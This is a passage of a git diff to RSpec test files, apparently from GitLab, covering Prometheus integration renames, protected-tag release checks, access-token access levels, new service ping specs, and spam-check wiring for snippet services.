properties: { api_url: nil, manual_configuration: "1" }
)
end
it 'does not create new record' do
- expect { update_project(project, user, prometheus_service_attributes: prometheus_service_attributes) }
- .not_to change { ::PrometheusService.where(project: project).count }
+ expect { update_project(project, user, prometheus_integration_attributes: prometheus_integration_attributes) }
+ .not_to change { ::Integrations::Prometheus.where(project: project).count }
end
end
end
diff --git a/spec/services/prometheus/create_default_alerts_service_spec.rb b/spec/services/prometheus/create_default_alerts_service_spec.rb
index e149161d881..0880799b589 100644
--- a/spec/services/prometheus/create_default_alerts_service_spec.rb
+++ b/spec/services/prometheus/create_default_alerts_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Prometheus::CreateDefaultAlertsService do
let_it_be(:project) { create(:project, :repository) }
+
let(:instance) { described_class.new(project: project) }
let(:expected_alerts) { described_class::DEFAULT_ALERTS }
diff --git a/spec/services/prometheus/proxy_service_spec.rb b/spec/services/prometheus/proxy_service_spec.rb
index f22ea361fde..b78683cace7 100644
--- a/spec/services/prometheus/proxy_service_spec.rb
+++ b/spec/services/prometheus/proxy_service_spec.rb
@@ -65,7 +65,7 @@ RSpec.describe Prometheus::ProxyService do
end
describe '#execute' do
- let(:prometheus_adapter) { instance_double(PrometheusService) }
+ let(:prometheus_adapter) { instance_double(::Integrations::Prometheus) }
let(:params) { ActionController::Parameters.new(query: '1').permit! }
subject { described_class.new(environment, 'GET', 'query', params) }
diff --git a/spec/services/quick_actions/interpret_service_spec.rb b/spec/services/quick_actions/interpret_service_spec.rb
index 4af76bc65ab..d7f5c39e457 100644
--- a/spec/services/quick_actions/interpret_service_spec.rb
+++ b/spec/services/quick_actions/interpret_service_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe QuickActions::InterpretService do
let_it_be(:inprogress) { create(:label, project: project, title: 'In Progress') }
let_it_be(:helmchart) { create(:label, project: project, title: 'Helm Chart Registry') }
let_it_be(:bug) { create(:label, project: project, title: 'Bug') }
+
let(:service) { described_class.new(project, developer) }
before_all do
diff --git a/spec/services/releases/create_evidence_service_spec.rb b/spec/services/releases/create_evidence_service_spec.rb
index 818d20f0468..0ac15a7291d 100644
--- a/spec/services/releases/create_evidence_service_spec.rb
+++ b/spec/services/releases/create_evidence_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Releases::CreateEvidenceService do
let_it_be(:project) { create(:project) }
+
let(:release) { create(:release, project: project) }
let(:service) { described_class.new(release) }
diff --git a/spec/services/releases/create_service_spec.rb b/spec/services/releases/create_service_spec.rb
index 7287825a0be..bf28fde3d90 100644
--- a/spec/services/releases/create_service_spec.rb
+++ b/spec/services/releases/create_service_spec.rb
@@ -44,6 +44,21 @@ RSpec.describe Releases::CreateService do
it_behaves_like 'a successful release creation'
+ context 'when tag is protected and user does not have access to it' do
+ let!(:protected_tag) { create(:protected_tag, :no_one_can_create, name: '*', project: project) }
+
+ it 'track the error event' do
+ stub_feature_flags(evalute_protected_tag_for_release_permissions: false)
+
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(
+ kind_of(described_class::ReleaseProtectedTagAccessError),
+ project_id: project.id,
+ user_id: user.id)
+
+ service.execute
+ end
+ end
+
context 'when the tag does not exist' do
let(:tag_name) { 'non-exist-tag' }
diff --git a/spec/services/releases/destroy_service_spec.rb b/spec/services/releases/destroy_service_spec.rb
index bc5bff0b31d..38cdcef3825 100644
--- a/spec/services/releases/destroy_service_spec.rb
+++ b/spec/services/releases/destroy_service_spec.rb
@@ -28,6 +28,21 @@ RSpec.describe Releases::DestroyService do
it 'returns the destroyed object' do
is_expected.to include(status: :success, release: release)
end
+
+ context 'when tag is protected and user does not have access to it' do
+ let!(:protected_tag) { create(:protected_tag, :no_one_can_create, name: '*', project: project) }
+
+ it 'track the error event' do
+ stub_feature_flags(evalute_protected_tag_for_release_permissions: false)
+
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(
+ kind_of(described_class::ReleaseProtectedTagAccessError),
+ project_id: project.id,
+ user_id: user.id)
+
+ service.execute
+ end
+ end
end
context 'when tag does not exist in the repository' do
diff --git a/spec/services/releases/update_service_spec.rb b/spec/services/releases/update_service_spec.rb
index 932a7fab5ec..96b562a8071 100644
--- a/spec/services/releases/update_service_spec.rb
+++ b/spec/services/releases/update_service_spec.rb
@@ -38,6 +38,21 @@ RSpec.describe Releases::UpdateService do
service.execute
end
+ context 'when tag is protected and user does not have access to it' do
+ let!(:protected_tag) { create(:protected_tag, :no_one_can_create, name: '*', project: project) }
+
+ it 'track the error event' do
+ stub_feature_flags(evalute_protected_tag_for_release_permissions: false)
+
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(
+ kind_of(described_class::ReleaseProtectedTagAccessError),
+ project_id: project.id,
+ user_id: user.id)
+
+ service.execute
+ end
+ end
+
context 'when the tag does not exists' do
let(:tag_name) { 'foobar' }
diff --git a/spec/services/repositories/changelog_service_spec.rb b/spec/services/repositories/changelog_service_spec.rb
index 9a5b0f33fbb..02d60f076ca 100644
--- a/spec/services/repositories/changelog_service_spec.rb
+++ b/spec/services/repositories/changelog_service_spec.rb
@@ -76,7 +76,7 @@ RSpec.describe Repositories::ChangelogService do
recorder = ActiveRecord::QueryRecorder.new { service.execute }
changelog = project.repository.blob_at('master', 'CHANGELOG.md')&.data
- expect(recorder.count).to eq(12)
+ expect(recorder.count).to eq(11)
expect(changelog).to include('Title 1', 'Title 2')
end
diff --git a/spec/services/repositories/destroy_rollback_service_spec.rb b/spec/services/repositories/destroy_rollback_service_spec.rb
index 9cc41a4c7f8..717e52f0e40 100644
--- a/spec/services/repositories/destroy_rollback_service_spec.rb
+++ b/spec/services/repositories/destroy_rollback_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Repositories::DestroyRollbackService do
let_it_be(:user) { create(:user) }
+
let!(:project) { create(:project, :repository, namespace: user.namespace) }
let(:repository) { project.repository }
let(:path) { repository.disk_path }
diff --git a/spec/services/repositories/destroy_service_spec.rb b/spec/services/repositories/destroy_service_spec.rb
index 81bda2130a6..240f837e973 100644
--- a/spec/services/repositories/destroy_service_spec.rb
+++ b/spec/services/repositories/destroy_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Repositories::DestroyService do
let_it_be(:user) { create(:user) }
+
let!(:project) { create(:project, :repository, namespace: user.namespace) }
let(:repository) { project.repository }
let(:path) { repository.disk_path }
diff --git a/spec/services/repositories/shell_destroy_service_spec.rb b/spec/services/repositories/shell_destroy_service_spec.rb
index 9020ef7b209..65168a1784a 100644
--- a/spec/services/repositories/shell_destroy_service_spec.rb
+++ b/spec/services/repositories/shell_destroy_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Repositories::ShellDestroyService do
let_it_be(:user) { create(:user) }
+
let!(:project) { create(:project, :repository, namespace: user.namespace) }
let(:path) { project.repository.disk_path }
let(:remove_path) { "#{path}+#{project.id}#{described_class::DELETED_FLAG}" }
diff --git a/spec/services/resource_access_tokens/create_service_spec.rb b/spec/services/resource_access_tokens/create_service_spec.rb
index 517ed086713..11069dc1bb8 100644
--- a/spec/services/resource_access_tokens/create_service_spec.rb
+++ b/spec/services/resource_access_tokens/create_service_spec.rb
@@ -88,12 +88,28 @@ RSpec.describe ResourceAccessTokens::CreateService do
end
end
- it 'adds the bot user as a maintainer in the resource' do
- response = subject
- access_token = response.payload[:access_token]
- bot_user = access_token.user
+ context 'access level' do
+ context 'when user does not specify an access level' do
+ it 'adds the bot user as a maintainer in the resource' do
+ response = subject
+ access_token = response.payload[:access_token]
+ bot_user = access_token.user
+
+ expect(resource.members.maintainers.map(&:user_id)).to include(bot_user.id)
+ end
+ end
- expect(resource.members.maintainers.map(&:user_id)).to include(bot_user.id)
+ context 'when user specifies an access level' do
+ let_it_be(:params) { { access_level: Gitlab::Access::DEVELOPER } }
+
+ it 'adds the bot user with the specified access level in the resource' do
+ response = subject
+ access_token = response.payload[:access_token]
+ bot_user = access_token.user
+
+ expect(resource.members.developers.map(&:user_id)).to include(bot_user.id)
+ end
+ end
end
context 'personal access token' do
@@ -176,6 +192,7 @@ RSpec.describe ResourceAccessTokens::CreateService do
context "when access provisioning fails" do
let_it_be(:bot_user) { create(:user, :project_bot) }
+
let(:unpersisted_member) { build(:project_member, source: resource, user: bot_user) }
before do
diff --git a/spec/services/resource_access_tokens/revoke_service_spec.rb b/spec/services/resource_access_tokens/revoke_service_spec.rb
index 99adb4bb7a0..4f4e2ab0c99 100644
--- a/spec/services/resource_access_tokens/revoke_service_spec.rb
+++ b/spec/services/resource_access_tokens/revoke_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ResourceAccessTokens::RevokeService do
subject { described_class.new(user, resource, access_token).execute }
let_it_be(:user) { create(:user) }
+
let(:access_token) { create(:personal_access_token, user: resource_bot) }
describe '#execute', :sidekiq_inline do
@@ -80,6 +81,7 @@ RSpec.describe ResourceAccessTokens::RevokeService do
context 'when resource is a project' do
let_it_be(:resource) { create(:project, :private) }
+
let(:resource_bot) { create(:user, :project_bot) }
before do
diff --git a/spec/services/resource_events/change_labels_service_spec.rb b/spec/services/resource_events/change_labels_service_spec.rb
index 8eac6ae0b49..012168ef719 100644
--- a/spec/services/resource_events/change_labels_service_spec.rb
+++ b/spec/services/resource_events/change_labels_service_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe ResourceEvents::ChangeLabelsService do
let_it_be(:project) { create(:project) }
let_it_be(:author) { create(:user) }
+
let(:resource) { create(:issue, project: project) }
describe '.change_labels' do
diff --git a/spec/services/resource_events/merge_into_notes_service_spec.rb b/spec/services/resource_events/merge_into_notes_service_spec.rb
index 6209294f4ce..abe00e72f20 100644
--- a/spec/services/resource_events/merge_into_notes_service_spec.rb
+++ b/spec/services/resource_events/merge_into_notes_service_spec.rb
@@ -21,6 +21,7 @@ RSpec.describe ResourceEvents::MergeIntoNotesService do
let_it_be(:resource) { create(:issue, project: project) }
let_it_be(:label) { create(:label, project: project) }
let_it_be(:label2) { create(:label, project: project) }
+
let(:time) { Time.current }
describe '#execute' do
diff --git a/spec/services/security/ci_configuration/sast_parser_service_spec.rb b/spec/services/security/ci_configuration/sast_parser_service_spec.rb
index 4fe99f20879..4346d0a9e07 100644
--- a/spec/services/security/ci_configuration/sast_parser_service_spec.rb
+++ b/spec/services/security/ci_configuration/sast_parser_service_spec.rb
@@ -3,11 +3,13 @@
require 'spec_helper'
RSpec.describe Security::CiConfiguration::SastParserService do
+ include Ci::TemplateHelpers
+
describe '#configuration' do
include_context 'read ci configuration for sast enabled project'
let(:configuration) { described_class.new(project).configuration }
- let(:secure_analyzers_prefix) { configuration['global'][0] }
+ let(:secure_analyzers) { configuration['global'][0] }
let(:sast_excluded_paths) { configuration['global'][1] }
let(:sast_pipeline_stage) { configuration['pipeline'][0] }
let(:sast_search_max_depth) { configuration['pipeline'][1] }
@@ -16,7 +18,7 @@ RSpec.describe Security::CiConfiguration::SastParserService do
let(:sast_brakeman_level) { brakeman['variables'][0] }
it 'parses the configuration for SAST' do
- expect(secure_analyzers_prefix['default_value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers')
+ expect(secure_analyzers['default_value']).to eql(secure_analyzers_prefix)
expect(sast_excluded_paths['default_value']).to eql('spec, test, tests, tmp')
expect(sast_pipeline_stage['default_value']).to eql('test')
expect(sast_search_max_depth['default_value']).to eql('4')
@@ -28,7 +30,7 @@ RSpec.describe Security::CiConfiguration::SastParserService do
context 'when .gitlab-ci.yml is present' do
it 'populates the current values from the file' do
allow(project.repository).to receive(:blob_data_at).and_return(gitlab_ci_yml_content)
- expect(secure_analyzers_prefix['value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers2')
+ expect(secure_analyzers['value']).to eql("registry.gitlab.com/gitlab-org/security-products/analyzers2")
expect(sast_excluded_paths['value']).to eql('spec, executables')
expect(sast_pipeline_stage['value']).to eql('our_custom_security_stage')
expect(sast_search_max_depth['value']).to eql('8')
@@ -50,7 +52,7 @@ RSpec.describe Security::CiConfiguration::SastParserService do
context 'when .gitlab-ci.yml is absent' do
it 'populates the current values with the default values' do
allow(project.repository).to receive(:blob_data_at).and_return(nil)
- expect(secure_analyzers_prefix['value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers')
+ expect(secure_analyzers['value']).to eql(secure_analyzers_prefix)
expect(sast_excluded_paths['value']).to eql('spec, test, tests, tmp')
expect(sast_pipeline_stage['value']).to eql('test')
expect(sast_search_max_depth['value']).to eql('4')
@@ -67,7 +69,7 @@ RSpec.describe Security::CiConfiguration::SastParserService do
end
it 'populates the current values with the default values' do
- expect(secure_analyzers_prefix['value']).to eql('registry.gitlab.com/gitlab-org/security-products/analyzers')
+ expect(secure_analyzers['value']).to eql(secure_analyzers_prefix)
expect(sast_excluded_paths['value']).to eql('spec, test, tests, tmp')
expect(sast_pipeline_stage['value']).to eql('test')
expect(sast_search_max_depth['value']).to eql('4')
diff --git a/spec/services/service_ping/build_payload_service_spec.rb b/spec/services/service_ping/build_payload_service_spec.rb
new file mode 100644
index 00000000000..cd2685069c9
--- /dev/null
+++ b/spec/services/service_ping/build_payload_service_spec.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ServicePing::BuildPayloadService do
+ describe '#execute', :without_license do
+ subject(:service_ping_payload) { described_class.new.execute }
+
+ include_context 'stubbed service ping metrics definitions' do
+ let(:subscription_metrics) do
+ [
+ metric_attributes('active_user_count', "Subscription")
+ ]
+ end
+ end
+
+ context 'when usage_ping_enabled setting is false' do
+ before do
+ # Gitlab::CurrentSettings.usage_ping_enabled? == false
+ stub_config_setting(usage_ping_enabled: false)
+ end
+
+ it 'returns empty service ping payload' do
+ expect(service_ping_payload).to eq({})
+ end
+ end
+
+ context 'when usage_ping_enabled setting is true' do
+ before do
+ # Gitlab::CurrentSettings.usage_ping_enabled? == true
+ stub_config_setting(usage_ping_enabled: true)
+ end
+
+ it_behaves_like 'complete service ping payload'
+
+ context 'with require stats consent enabled' do
+ before do
+ allow(User).to receive(:single_user).and_return(double(:user, requires_usage_stats_consent?: true))
+ end
+
+ it 'returns empty service ping payload' do
+ expect(service_ping_payload).to eq({})
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/service_ping/permit_data_categories_service_spec.rb b/spec/services/service_ping/permit_data_categories_service_spec.rb
new file mode 100644
index 00000000000..4fd5c6f9ccb
--- /dev/null
+++ b/spec/services/service_ping/permit_data_categories_service_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ServicePing::PermitDataCategoriesService do
+ using RSpec::Parameterized::TableSyntax
+
+ describe '#execute', :without_license do
+ subject(:permitted_categories) { described_class.new.execute }
+
+ context 'when usage ping setting is set to true' do
+ before do
+ allow(User).to receive(:single_user).and_return(double(:user, requires_usage_stats_consent?: false))
+ stub_config_setting(usage_ping_enabled: true)
+ end
+
+ it 'returns all categories' do
+ expect(permitted_categories).to match_array(%w[Standard Subscription Operational Optional])
+ end
+ end
+
+ context 'when usage ping setting is set to false' do
+ before do
+ allow(User).to receive(:single_user).and_return(double(:user, requires_usage_stats_consent?: false))
+ stub_config_setting(usage_ping_enabled: false)
+ end
+
+ it 'returns no categories' do
+ expect(permitted_categories).to match_array([])
+ end
+ end
+
+ context 'when User.single_user&.requires_usage_stats_consent? is required' do
+ before do
+ allow(User).to receive(:single_user).and_return(double(:user, requires_usage_stats_consent?: true))
+ stub_config_setting(usage_ping_enabled: true)
+ end
+
+ it 'returns no categories' do
+ expect(permitted_categories).to match_array([])
+ end
+ end
+ end
+
+ describe '#product_intelligence_enabled?' do
+ where(:usage_ping_enabled, :requires_usage_stats_consent, :expected_product_intelligence_enabled) do
+ # Usage ping enabled
+ true | false | true
+ true | true | false
+
+ # Usage ping disabled
+ false | false | false
+ false | true | false
+ end
+
+ with_them do
+ before do
+ allow(User).to receive(:single_user).and_return(double(:user, requires_usage_stats_consent?: requires_usage_stats_consent))
+ stub_config_setting(usage_ping_enabled: usage_ping_enabled)
+ end
+
+ it 'has the correct product_intelligence_enabled?' do
+ expect(described_class.new.product_intelligence_enabled?).to eq(expected_product_intelligence_enabled)
+ end
+ end
+ end
+end
diff --git a/spec/services/service_ping/submit_service_ping_service_spec.rb b/spec/services/service_ping/submit_service_ping_service_spec.rb
new file mode 100644
index 00000000000..8a3065e6bc6
--- /dev/null
+++ b/spec/services/service_ping/submit_service_ping_service_spec.rb
@@ -0,0 +1,319 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ServicePing::SubmitService do
+ include StubRequests
+ include UsageDataHelpers
+
+ let(:usage_data_id) { 31643 }
+ let(:score_params) do
+ {
+ score: {
+ leader_issues: 10.2,
+ instance_issues: 3.2,
+ percentage_issues: 31.37,
+
+ leader_notes: 25.3,
+ instance_notes: 23.2,
+
+ leader_milestones: 16.2,
+ instance_milestones: 5.5,
+
+ leader_boards: 5.2,
+ instance_boards: 3.2,
+
+ leader_merge_requests: 5.2,
+ instance_merge_requests: 3.2,
+
+ leader_ci_pipelines: 25.1,
+ instance_ci_pipelines: 21.3,
+
+ leader_environments: 3.3,
+ instance_environments: 2.2,
+
+ leader_deployments: 41.3,
+ instance_deployments: 15.2,
+
+ leader_projects_prometheus_active: 0.31,
+ instance_projects_prometheus_active: 0.30,
+
+ leader_service_desk_issues: 15.8,
+ instance_service_desk_issues: 15.1,
+
+ usage_data_id: usage_data_id,
+
+ non_existing_column: 'value'
+ }
+ }
+ end
+
+ let(:with_dev_ops_score_params) { { dev_ops_score: score_params[:score] } }
+ let(:with_conv_index_params) { { conv_index: score_params[:score] } }
+
+ shared_examples 'does not run' do
+ it do
+ expect(Gitlab::HTTP).not_to receive(:post)
+ expect(Gitlab::UsageData).not_to receive(:data)
+
+ subject.execute
+ end
+ end
+
+ shared_examples 'does not send a blank usage ping payload' do
+ it do
+ expect(Gitlab::HTTP).not_to receive(:post)
+
+ expect { subject.execute }.to raise_error(described_class::SubmissionError) do |error|
+ expect(error.message).to include('Usage data is blank')
+ end
+ end
+ end
+
+ shared_examples 'saves DevOps report data from the response' do
+ it do
+ expect { subject.execute }
+ .to change { DevOpsReport::Metric.count }
+ .by(1)
+
+ expect(DevOpsReport::Metric.last.leader_issues).to eq 10.2
+ expect(DevOpsReport::Metric.last.instance_issues).to eq 3.2
+ expect(DevOpsReport::Metric.last.percentage_issues).to eq 31.37
+ end
+ end
+
+ context 'when usage ping is disabled' do
+ before do
+ stub_application_setting(usage_ping_enabled: false)
+ end
+
+ it_behaves_like 'does not run'
+ end
+
+ context 'when usage ping is disabled from GitLab config file' do
+ before do
+ stub_config_setting(usage_ping_enabled: false)
+ end
+
+ it_behaves_like 'does not run'
+ end
+
+ context 'when product_intelligence_enabled is false' do
+ before do
+ allow_next_instance_of(ServicePing::PermitDataCategoriesService) do |service|
+ allow(service).to receive(:product_intelligence_enabled?).and_return(false)
+ end
+ end
+
+ it_behaves_like 'does not run'
+ end
+
+ context 'when product_intelligence_enabled is true' do
+ before do
+ stub_usage_data_connections
+
+ allow_next_instance_of(ServicePing::PermitDataCategoriesService) do |service|
+ allow(service).to receive(:product_intelligence_enabled?).and_return(true)
+ end
+ end
+
+ it 'generates service ping' do
+ stub_response(body: with_dev_ops_score_params)
+
+ expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_call_original
+
+ subject.execute
+ end
+ end
+
+ context 'when usage ping is enabled' do
+ before do
+ stub_usage_data_connections
+ stub_application_setting(usage_ping_enabled: true)
+ end
+
+ context 'and user requires usage stats consent' do
+ before do
+ allow(User).to receive(:single_user).and_return(double(:user, requires_usage_stats_consent?: true))
+ end
+
+ it_behaves_like 'does not run'
+ end
+
+ it 'sends a POST request' do
+ response = stub_response(body: with_dev_ops_score_params)
+
+ subject.execute
+
+ expect(response).to have_been_requested
+ end
+
+ it 'forces a refresh of usage data statistics before submitting' do
+ stub_response(body: with_dev_ops_score_params)
+
+ expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_call_original
+
+ subject.execute
+ end
+
+ context 'when conv_index data is passed' do
+ before do
+ stub_response(body: with_conv_index_params)
+ end
+
+ it_behaves_like 'saves DevOps report data from the response'
+
+ it 'saves usage_data_id to version_usage_data_id_value' do
+ recorded_at = Time.current
+ usage_data = { uuid: 'uuid', recorded_at: recorded_at }
+
+ expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_return(usage_data)
+
+ subject.execute
+
+ raw_usage_data = RawUsageData.find_by(recorded_at: recorded_at)
+
+ expect(raw_usage_data.version_usage_data_id_value).to eq(31643)
+ end
+ end
+
+ context 'when version app usage_data_id is invalid' do
+ let(:usage_data_id) { -1000 }
+
+ before do
+ stub_response(body: with_conv_index_params)
+ end
+
+ it 'raises an exception' do
+ expect { subject.execute }.to raise_error(described_class::SubmissionError) do |error|
+ expect(error.message).to include('Invalid usage_data_id in response: -1000')
+ end
+ end
+ end
+
+ context 'when DevOps report data is passed' do
+ before do
+ stub_response(body: with_dev_ops_score_params)
+ end
+
+ it_behaves_like 'saves DevOps report data from the response'
+ end
+
+ context 'with saving raw_usage_data' do
+ before do
+ stub_response(body: with_dev_ops_score_params)
+ end
+
+ it 'creates a raw_usage_data record' do
+ expect { subject.execute }.to change(RawUsageData, :count).by(1)
+ end
+
+ it 'saves the correct payload' do
+ recorded_at = Time.current
+ usage_data = { uuid: 'uuid', recorded_at: recorded_at }
+
+ expect(Gitlab::UsageData).to receive(:data).with(force_refresh: true).and_return(usage_data)
+
+ subject.execute
+
+ raw_usage_data = RawUsageData.find_by(recorded_at: recorded_at)
+
+ expect(raw_usage_data.recorded_at).to be_like_time(recorded_at)
+ expect(raw_usage_data.payload.to_json).to eq(usage_data.to_json)
+ end
+ end
+
+ context 'and usage ping response has unsuccessful status' do
+ before do
+ stub_response(body: nil, status: 504)
+ end
+
+ it 'raises an exception' do
+ expect { subject.execute }.to raise_error(described_class::SubmissionError) do |error|
+ expect(error.message).to include('Unsuccessful response code: 504')
+ end
+ end
+ end
+
+ context 'and usage data is empty string' do
+ before do
+ allow(Gitlab::UsageData).to receive(:data).and_return({})
+ end
+
+ it_behaves_like 'does not send a blank usage ping payload'
+ end
+
+ context 'and usage data is nil' do
+ before do
+ allow(ServicePing::BuildPayloadService).to receive(:execute).and_return(nil)
+ allow(Gitlab::UsageData).to receive(:data).and_return(nil)
+ end
+
+ it_behaves_like 'does not send a blank usage ping payload'
+ end
+
+ context 'if payload service fails' do
+ before do
+ stub_response(body: with_dev_ops_score_params)
+ allow(ServicePing::BuildPayloadService).to receive(:execute).and_raise(described_class::SubmissionError, 'SubmissionError')
+ end
+
+ it 'calls UsageData .data method' do
+ usage_data = build_usage_data
+
+ expect(Gitlab::UsageData).to receive(:data).and_return(usage_data)
+
+ subject.execute
+ end
+ end
+
+ context 'calls BuildPayloadService first' do
+ before do
+ stub_response(body: with_dev_ops_score_params)
+ end
+
+ it 'returns usage data' do
+ usage_data = build_usage_data
+
+ expect_next_instance_of(ServicePing::BuildPayloadService) do |service|
+ expect(service).to receive(:execute).and_return(usage_data)
+ end
+
+ subject.execute
+ end
+ end
+
+ context 'if version app response fails' do
+ before do
+ stub_response(body: with_dev_ops_score_params, status: 404)
+
+ usage_data = build_usage_data
+ allow_next_instance_of(ServicePing::BuildPayloadService) do |service|
+ allow(service).to receive(:execute).and_return(usage_data)
+ end
+ end
+
+ it 'calls UsageData .data method' do
+ usage_data = build_usage_data
+
+ expect(Gitlab::UsageData).to receive(:data).and_return(usage_data)
+
+ # SubmissionError is raised as a result of 404 in response from HTTP Request
+ expect { subject.execute }.to raise_error(described_class::SubmissionError)
+ end
+ end
+ end
+
+ def stub_response(body:, status: 201)
+ stub_full_request(subject.send(:url), method: :post)
+ .to_return(
+ headers: { 'Content-Type' => 'application/json' },
+ body: body.to_json,
+ status: status
+ )
+ end
+
+ def build_usage_data
+ { uuid: 'uuid', recorded_at: Time.current }
+ end
+end
diff --git a/spec/services/snippets/bulk_destroy_service_spec.rb b/spec/services/snippets/bulk_destroy_service_spec.rb
index 8a6250a8b45..2f399d10188 100644
--- a/spec/services/snippets/bulk_destroy_service_spec.rb
+++ b/spec/services/snippets/bulk_destroy_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Snippets::BulkDestroyService do
let_it_be(:project) { create(:project) }
+
let(:user) { create(:user) }
let!(:personal_snippet) { create(:personal_snippet, :repository, author: user) }
let!(:project_snippet) { create(:project_snippet, :repository, project: project, author: user) }
diff --git a/spec/services/snippets/create_service_spec.rb b/spec/services/snippets/create_service_spec.rb
index eb6e85eb408..0eb73c8edd2 100644
--- a/spec/services/snippets/create_service_spec.rb
+++ b/spec/services/snippets/create_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Snippets::CreateService do
describe '#execute' do
let_it_be(:user) { create(:user) }
let_it_be(:admin) { create(:user, :admin) }
+
let(:action) { :create }
let(:opts) { base_opts.merge(extra_opts) }
let(:base_opts) do
@@ -19,8 +20,9 @@ RSpec.describe Snippets::CreateService do
let(:extra_opts) { {} }
let(:creator) { admin }
+ let(:spam_params) { double }
- subject { described_class.new(project: project, current_user: creator, params: opts).execute }
+ subject { described_class.new(project: project, current_user: creator, params: opts, spam_params: spam_params).execute }
let(:snippet) { subject.payload[:snippet] }
@@ -301,6 +303,10 @@ RSpec.describe Snippets::CreateService do
end
end
+ before do
+ stub_spam_services
+ end
+
context 'when ProjectSnippet' do
let_it_be(:project) { create(:project) }
diff --git a/spec/services/snippets/update_repository_storage_service_spec.rb b/spec/services/snippets/update_repository_storage_service_spec.rb
index 50b28a5a125..fdea3615fb1 100644
--- a/spec/services/snippets/update_repository_storage_service_spec.rb
+++ b/spec/services/snippets/update_repository_storage_service_spec.rb
@@ -75,9 +75,10 @@ RSpec.describe Snippets::UpdateRepositoryStorageService do
.with(snippet.repository.raw)
.and_raise(Gitlab::Git::CommandError)
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(Gitlab::Git::CommandError)
- expect(result).to be_error
expect(snippet).not_to be_repository_read_only
expect(snippet.repository_storage).to eq('default')
expect(repository_storage_move).to be_failed
@@ -93,9 +94,10 @@ RSpec.describe Snippets::UpdateRepositoryStorageService do
expect(original_snippet_repository_double).to receive(:remove)
.and_raise(Gitlab::Git::CommandError)
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(Gitlab::Git::CommandError)
- expect(result).to be_error
expect(repository_storage_move).to be_cleanup_failed
end
end
@@ -107,9 +109,10 @@ RSpec.describe Snippets::UpdateRepositoryStorageService do
expect(snippet_repository_double).to receive(:checksum)
.and_return('not matching checksum')
- result = subject.execute
+ expect do
+ subject.execute
+ end.to raise_error(UpdateRepositoryStorageMethods::Error, /Failed to verify snippet repository checksum from \w+ to not matching checksum/)
- expect(result).to be_error
expect(snippet).not_to be_repository_read_only
expect(snippet.repository_storage).to eq('default')
end
diff --git a/spec/services/snippets/update_service_spec.rb b/spec/services/snippets/update_service_spec.rb
index 46bc62e11ef..f61d33e2436 100644
--- a/spec/services/snippets/update_service_spec.rb
+++ b/spec/services/snippets/update_service_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Snippets::UpdateService do
describe '#execute', :aggregate_failures do
let_it_be(:user) { create(:user) }
let_it_be(:admin) { create :user, admin: true }
+
let(:action) { :update }
let(:visibility_level) { Gitlab::VisibilityLevel::PRIVATE }
let(:base_opts) do
@@ -20,7 +21,9 @@ RSpec.describe Snippets::UpdateService do
let(:extra_opts) { {} }
let(:options) { base_opts.merge(extra_opts) }
let(:updater) { user }
- let(:service) { Snippets::UpdateService.new(project: project, current_user: updater, params: options) }
+ let(:spam_params) { double }
+
+ let(:service) { Snippets::UpdateService.new(project: project, current_user: updater, params: options, spam_params: spam_params) }
subject { service.execute(snippet) }
@@ -721,8 +724,13 @@ RSpec.describe Snippets::UpdateService do
end
end
+ before do
+ stub_spam_services
+ end
+
context 'when Project Snippet' do
let_it_be(:project) { create(:project) }
+
let!(:snippet) { create(:project_snippet, :repository, author: user, project: project) }
before do
diff --git a/spec/services/spam/akismet_service_spec.rb b/spec/services/spam/akismet_service_spec.rb
index 1cd049da592..d9f62258a53 100644
--- a/spec/services/spam/akismet_service_spec.rb
+++ b/spec/services/spam/akismet_service_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe Spam::AkismetService do
it_behaves_like 'no activity if Akismet is not enabled', :spam?, :check
context 'if Akismet is enabled' do
- it 'correctly transforms options for the akismet client' do
+ it 'correctly transforms options for the akismet client, including spelling of referrer key' do
expected_check_params = {
type: 'comment',
text: text,
diff --git a/spec/services/spam/ham_service_spec.rb b/spec/services/spam/ham_service_spec.rb
index c947de6cf92..0101a8e7704 100644
--- a/spec/services/spam/ham_service_spec.rb
+++ b/spec/services/spam/ham_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Spam::HamService do
let_it_be(:user) { create(:user) }
+
let!(:spam_log) { create(:spam_log, user: user, submitted_as_ham: false) }
let(:fake_akismet_service) { double(:akismet_service) }
diff --git a/spec/services/spam/spam_action_service_spec.rb b/spec/services/spam/spam_action_service_spec.rb
index 9ca52b92267..3a92e5acb5a 100644
--- a/spec/services/spam/spam_action_service_spec.rb
+++ b/spec/services/spam/spam_action_service_spec.rb
@@ -5,15 +5,20 @@ require 'spec_helper'
RSpec.describe Spam::SpamActionService do
include_context 'includes Spam constants'
- let(:request) { double(:request, env: env, headers: {}) }
let(:issue) { create(:issue, project: project, author: user) }
let(:fake_ip) { '1.2.3.4' }
let(:fake_user_agent) { 'fake-user-agent' }
